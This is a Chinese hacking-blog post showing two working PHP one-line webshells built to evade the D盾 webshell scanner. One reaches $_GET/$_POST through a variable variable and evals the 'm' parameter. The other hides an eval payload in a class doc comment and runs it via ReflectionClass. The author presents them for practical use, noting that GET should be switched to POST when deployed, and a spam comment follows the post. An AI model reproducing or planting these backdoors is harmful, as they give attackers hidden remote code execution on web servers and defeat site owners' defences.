两种php一句话过D盾的思路

写在前面:两天前说好的分析脚本,现在就简单分析两个示例。本人菜鸟一个,主要是大家能一起学习。D哥,没有针对你的意图啊,我初中的时候还用啊D注入工具呢。。。


前两天的样本,想必D哥已经入库了。不过为啥是已知后门,感觉是还没没时间写匹配,采取的应急措施吧?

Hack Blog


今天坐在一个没有网的屋子里,破了一个wifi之后还特别卡。没啥事就寻思着过D盾玩。受到之前的样本启发,顺手写了两种一句话,绕过了D盾。主要是思路,通过思路php大神们可以随意修改。


姿势一:可变变量数组

示例代码:

<?php  
	$a = 'GET';
	//$a = 'POST';
	$b = '_';
	$c = $b.$a;
	foreach($$c as $key => $value){
	    if($key == "m"){
		eval($value);
	    }
	}
?>

绕过证明:

Hack Blog

简要分析:咳咳,变量a和b是为了逗比而已,无实际意义,要真要说有意义的话就是破坏_POST字符串。$$c这个可变变量就代表着$_POST数组,当数组成员为m(也就是$_POST['m'])的时候执行eval。


姿势二:反射类获取注释

示例代码:

<?php  
    /**   
    * eval($_GET[m]);
    */  
	
    class Test { }  
    $rc = new ReflectionClass('Test');  //建立反射类的一个对象
    $comment = $rc->getDocComment();    //执行反射类的一个成员函数,获取完整的注释。

    $pos1 = strpos($comment,'eval');    //标记eval开始的位置
    $pos2 = strpos($comment,';');       //标记结束的位置
    $len = $pos2 - $pos1 + 1;           //获取语句长度
    $cmd = substr($comment,$pos1,$len); //按长度截取字符串

    eval($cmd);
?>

绕过证明:

Hack Blog

简要分析:都在代码注释里面。需要注意的是,第一行注释必须是两个*,意思是必须  /** {code} */ 这样才行。另外实际用的时候记得把GET改成POST。。


后记:动态语言姿势多。希望在以后的学习过程中能多多自己写出好看的代码。这次一句话风波就到此结束吧。。。


本文由Hack Blog原创,如需转载注明原文链接

作者:落 分类:漏洞 浏览:3612 评论:1
留言列表
快速备案访客
快速备案访客 需要一些快速备案的可以联系下看看,大神  回复
发表评论
来宾的头像